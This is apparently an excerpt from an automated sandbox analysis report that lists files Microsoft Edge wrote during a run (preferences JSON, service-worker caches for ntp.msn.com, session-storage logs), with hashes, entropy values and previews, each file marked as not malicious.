SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f074c69f-014b-44cc-b4ec-9159ffd83ee1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9497
Entropy (8bit):	5.104045007496738
Encrypted:	false
SSDEEP:	192:stekdpksTG4yaNP9kP4h8ibV+FdlQAihPnYJ:steQksC4tJXbGzQW
MD5:	22F8BEABAF1EB6D80700ACE37D45DBD5
SHA1:	4B67765AECB09B925D6390C0F1538FBFD19B9944
SHA-256:	678A63A8908D2128AD780E863A4E58FFBB989578427C75407E3FD0747D8458F9
SHA-512:	741E0FE805A58946A1527AE08DB89D92B81F68B69E753588012AB16DC969941B2733B04CE6E59B48E3ECE5C879D57E7835B19C267F581BA0B9BF70299D856394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2aa11.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9497
Entropy (8bit):	5.104045007496738
Encrypted:	false
SSDEEP:	192:stekdpksTG4yaNP9kP4h8ibV+FdlQAihPnYJ:steQksC4tJXbGzQW
MD5:	22F8BEABAF1EB6D80700ACE37D45DBD5
SHA1:	4B67765AECB09B925D6390C0F1538FBFD19B9944
SHA-256:	678A63A8908D2128AD780E863A4E58FFBB989578427C75407E3FD0747D8458F9
SHA-512:	741E0FE805A58946A1527AE08DB89D92B81F68B69E753588012AB16DC969941B2733B04CE6E59B48E3ECE5C879D57E7835B19C267F581BA0B9BF70299D856394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2eb31.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9497
Entropy (8bit):	5.104045007496738
Encrypted:	false
SSDEEP:	192:stekdpksTG4yaNP9kP4h8ibV+FdlQAihPnYJ:steQksC4tJXbGzQW
MD5:	22F8BEABAF1EB6D80700ACE37D45DBD5
SHA1:	4B67765AECB09B925D6390C0F1538FBFD19B9944
SHA-256:	678A63A8908D2128AD780E863A4E58FFBB989578427C75407E3FD0747D8458F9
SHA-512:	741E0FE805A58946A1527AE08DB89D92B81F68B69E753588012AB16DC969941B2733B04CE6E59B48E3ECE5C879D57E7835B19C267F581BA0B9BF70299D856394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF36061.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9497
Entropy (8bit):	5.104045007496738
Encrypted:	false
SSDEEP:	192:stekdpksTG4yaNP9kP4h8ibV+FdlQAihPnYJ:steQksC4tJXbGzQW
MD5:	22F8BEABAF1EB6D80700ACE37D45DBD5
SHA1:	4B67765AECB09B925D6390C0F1538FBFD19B9944
SHA-256:	678A63A8908D2128AD780E863A4E58FFBB989578427C75407E3FD0747D8458F9
SHA-512:	741E0FE805A58946A1527AE08DB89D92B81F68B69E753588012AB16DC969941B2733B04CE6E59B48E3ECE5C879D57E7835B19C267F581BA0B9BF70299D856394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5672518922252445
Encrypted:	false
SSDEEP:	768:Luw6N3WPuMfxE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVKjKV0rw5p0tuf:Luw6N3WPuMfxEu1jaPuVtEtM
MD5:	800DFED6C2F76623DB0221FC2087C524
SHA1:	A810D055A761DEEEB31AF2364D62A88F4BEBBC37
SHA-256:	DCE58BFD762CEDE168DA4ECFE357236A5982CC69FF08C6DF2E70614C2451CDCD
SHA-512:	C5C6326D828A08869999C185DDEAC80D775CE7F262D542C7C408240C3368D37B4D2E136BFE33ED7496D0950DE1D05763AD36F299DF33D613938249BED5977301
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376611704243442","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376611704243442","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF29fa1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5672518922252445
Encrypted:	false
SSDEEP:	768:Luw6N3WPuMfxE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVKjKV0rw5p0tuf:Luw6N3WPuMfxEu1jaPuVtEtM
MD5:	800DFED6C2F76623DB0221FC2087C524
SHA1:	A810D055A761DEEEB31AF2364D62A88F4BEBBC37
SHA-256:	DCE58BFD762CEDE168DA4ECFE357236A5982CC69FF08C6DF2E70614C2451CDCD
SHA-512:	C5C6326D828A08869999C185DDEAC80D775CE7F262D542C7C408240C3368D37B4D2E136BFE33ED7496D0950DE1D05763AD36F299DF33D613938249BED5977301
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376611704243442","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376611704243442","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840387831242726
Encrypted:	false
SSDEEP:	48:F2emptrdDLfBbOXrdw6ghlrdDOBbe9rd35BbL:F1mptxDLGxv8lxDf9x3b
MD5:	2B4B026E574C5B25571B0CDB54E15E03
SHA1:	D0D5A492002A6DE0B070809AD7AD9178A6E50E22
SHA-256:	F8F6C0332CFF7336EA2521EF6B85C1CB25F51AA7ADFC3F40692CF7FDC4FF39FC
SHA-512:	710EB51A29B35ECA6CFAA3BEDA885B3CB26079312318F1839AE358B299E9D48AC5E7D9476154EC37F730CB1CC8D9F4DDBFCAE2F3EA2B64B9AEC495D9B4B7A7FF
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2]vX8m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.109847495537002
Encrypted:	false
SSDEEP:	6:HHUZsHM1cNwi23oH+TcwtE/a252KLlVHUHhOq2PcNwi23oH+TcwtE/a2ZIFUv:nUg2ZYeb8xL/UH8vLZYeb8J2FUv
MD5:	21765B66454E9AD42701119BBA922E66
SHA1:	AD4C903B0C949BD88BB782DD48E1C3E8FA195129
SHA-256:	D7DFC1447A22B5D4BBDF07F36C05C43A29902D1C9A7108887DE6276D7B9472C8
SHA-512:	A4EE48AEC4AFCAC428C8B49CC3482837093FA3A2724A43901BCFCF931327A347843843018B61CB9A0060DF542FBE0CA38318D87F5B76D50087528F3C6F48C17C
Malicious:	false
Preview:	2024/11/20-16:28:41.108 1444 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/20-16:28:41.120 1444 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114179
Entropy (8bit):	5.576869737513429
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktoUp:d9LyxPXfOxr1lMe1nL/CL/TXEmaCO
MD5:	FEE1016E8F7F6319F68AE96BFD21F85F
SHA1:	2DA03142AC0194796AF81C75CA8483493C4B92BD
SHA-256:	09C01A9CCE7C1A79DC6787E3E9E06F988B0BD61FB7B3A541CFE0935A6A72BFBE
SHA-512:	ECEAC43A86CE4E873DB4F54CC65AFE50A7AC1C5B78DAF465606949D96FD6CBA9A786BE16189A0E360AA7485B566DAE7F73C7F98C9934B8C8B1FAF37B17BAC36C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188673
Entropy (8bit):	6.385692069948809
Encrypted:	false
SSDEEP:	3072:yIWJvNd3FYB8wx3bqFRL/TyoMDAXDYuVsgtbUtM:3Wi8whq7L//n0u79Um
MD5:	90C414BE331471ECDEE98AF55F54CD29
SHA1:	6671466CF77637E4D8E0409313B69353C84B39AC
SHA-256:	F97E1628C290296E9A4A574B0A11271362AEC1A9CDF3CBD91CA9DBBFF0650F51
SHA-512:	E9AB4FF190E9CA2952FA922E5683DA3DBFD80ECCD29D63CB1E6BF928854092E1E60694CFE5C3176AC11312B4AD80BD6398D19773C1E81B1D2D23B94BB28DCABE
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc~.......exports...Rcb.9.....module....Rcc......define....Rb.l......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5271500973417917
Encrypted:	false
SSDEEP:	3:o9o9Xl/lUn/lxE0tlls2WBn:o9+R0xgn
MD5:	1BBB630D13AC3358B56C6C735CCA56E9
SHA1:	AD5D0CE2ADA7593240170474BEEDDFE8C3C5C5EF
SHA-256:	B76A49D2D62A2668D70CF8AF4E439349273495179943ECC0D6AFBBFBC759F398
SHA-512:	AB9C0F7E66FB7653AC6D13BF420B9A66FD4D6D39650AC4BCB16EC88BD1BBC2C6A8E5773DF8F35549AC4562E6BF3A978E4DF78EB65F4FDFC13C85CEB7EA6BDC56
Malicious:	false
Preview:	@.......oy retne.........................X....,................S3..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5271500973417917
Encrypted:	false
SSDEEP:	3:o9o9Xl/lUn/lxE0tlls2WBn:o9+R0xgn
MD5:	1BBB630D13AC3358B56C6C735CCA56E9
SHA1:	AD5D0CE2ADA7593240170474BEEDDFE8C3C5C5EF
SHA-256:	B76A49D2D62A2668D70CF8AF4E439349273495179943ECC0D6AFBBFBC759F398
SHA-512:	AB9C0F7E66FB7653AC6D13BF420B9A66FD4D6D39650AC4BCB16EC88BD1BBC2C6A8E5773DF8F35549AC4562E6BF3A978E4DF78EB65F4FDFC13C85CEB7EA6BDC56
Malicious:	false
Preview:	@.......oy retne.........................X....,................S3..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2e370.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5271500973417917
Encrypted:	false
SSDEEP:	3:o9o9Xl/lUn/lxE0tlls2WBn:o9+R0xgn
MD5:	1BBB630D13AC3358B56C6C735CCA56E9
SHA1:	AD5D0CE2ADA7593240170474BEEDDFE8C3C5C5EF
SHA-256:	B76A49D2D62A2668D70CF8AF4E439349273495179943ECC0D6AFBBFBC759F398
SHA-512:	AB9C0F7E66FB7653AC6D13BF420B9A66FD4D6D39650AC4BCB16EC88BD1BBC2C6A8E5773DF8F35549AC4562E6BF3A978E4DF78EB65F4FDFC13C85CEB7EA6BDC56
Malicious:	false
Preview:	@.......oy retne.........................X....,................S3..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6217
Entropy (8bit):	3.3917656526811544
Encrypted:	false
SSDEEP:	192:mwvEZmd1SQT219Xp+R1+ia5SLl9iSrWjEej6q:mw481SQT219Xp+T+n5SLl9iSrqZ
MD5:	2487A0A4C7CEEC3818B0F585F4991D79
SHA1:	AC3618D3F8088B8A4B1ADA931039277C122CFE8E
SHA-256:	A45AF9BD9ACDEE84225C9E39514B244BF20E8D2D5AF24CFB34C0EF26D6B13A49
SHA-512:	6399F8BC917FD1C280F63E2058AC1BD9E544D1A6872B3D73524B26FB77B719DC4E0CA24B03896D9A6D82E02EE49AC2BF2939306CFC2CBD7BC45FD5180CB00B2A
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................b................next-map-id.1.Cnamespace-e7ce45e4_8f3b_4686_b48c_ccd3905236c5-https://ntp.msn.com/.0.....................map-0-shd_sweeper.-{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.-.d.w.v.i.d.-.t.1.,.1.s.-.p.1.-.d.w.l.s.,.1.s.-.p.2.-.d.w.l.s.,.p.r.g.-.1.s.w.-.n.o.c.o.o.l.d.o.w.n.,.p.r.g.-.p.r.1.-.v.i.d.e.o.s.,.p.r.g.-.p.r.2.-.v.i.d.e.o.s.,.p.r.g.-.v.i.d.-.d.w.l.s.c.a.c.h.e.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.b.g.t.a.s.k.t.h.r.o.t.c.,.p.r.g.-.1.s.w.-.s.a.b.e.u.r.l.f.b.v.6.c.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.4.a.,.p.r.g.-.1.s.w.-.s.a.-.e.n.c.o.m.b.o.t.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.174971214181993
Encrypted:	false
SSDEEP:	6:HHGLXq2PcNwi23oH+TcwtrQMxIFUt8YHGLvUZmw+YHGLbukwOcNwi23oH+Tcwtrb:n0vLZYebCFUt8kH/+kou54ZYebtJ
MD5:	73A0229AED2BB866CB4B78E5D79F4DDD
SHA1:	BF2889EE7AADEB1FCD9DA127A87F4BEC075673B5
SHA-256:	172057CF2BE4D6FC8E870D5D0CCB432EAAFE409D181B3044F931AD5CFE224834
SHA-512:	F328111863F32DEB79F92EFD8E1D2637D5A2A82AE01EC2234DB6C6E7DA34F0E33AC7BB75282F4F9F574B4E760B45D425CEA6EF7AFCA30157E0C836C3A7CFF0B5
Malicious:	false
Preview:	2024/11/20-16:28:25.258 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-16:28:25.267 1d74 Recovering log #3.2024/11/20-16:28:25.272 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.174971214181993
Encrypted:	false
SSDEEP:	6:HHGLXq2PcNwi23oH+TcwtrQMxIFUt8YHGLvUZmw+YHGLbukwOcNwi23oH+Tcwtrb:n0vLZYebCFUt8kH/+kou54ZYebtJ
MD5:	73A0229AED2BB866CB4B78E5D79F4DDD
SHA1:	BF2889EE7AADEB1FCD9DA127A87F4BEC075673B5
SHA-256:	172057CF2BE4D6FC8E870D5D0CCB432EAAFE409D181B3044F931AD5CFE224834
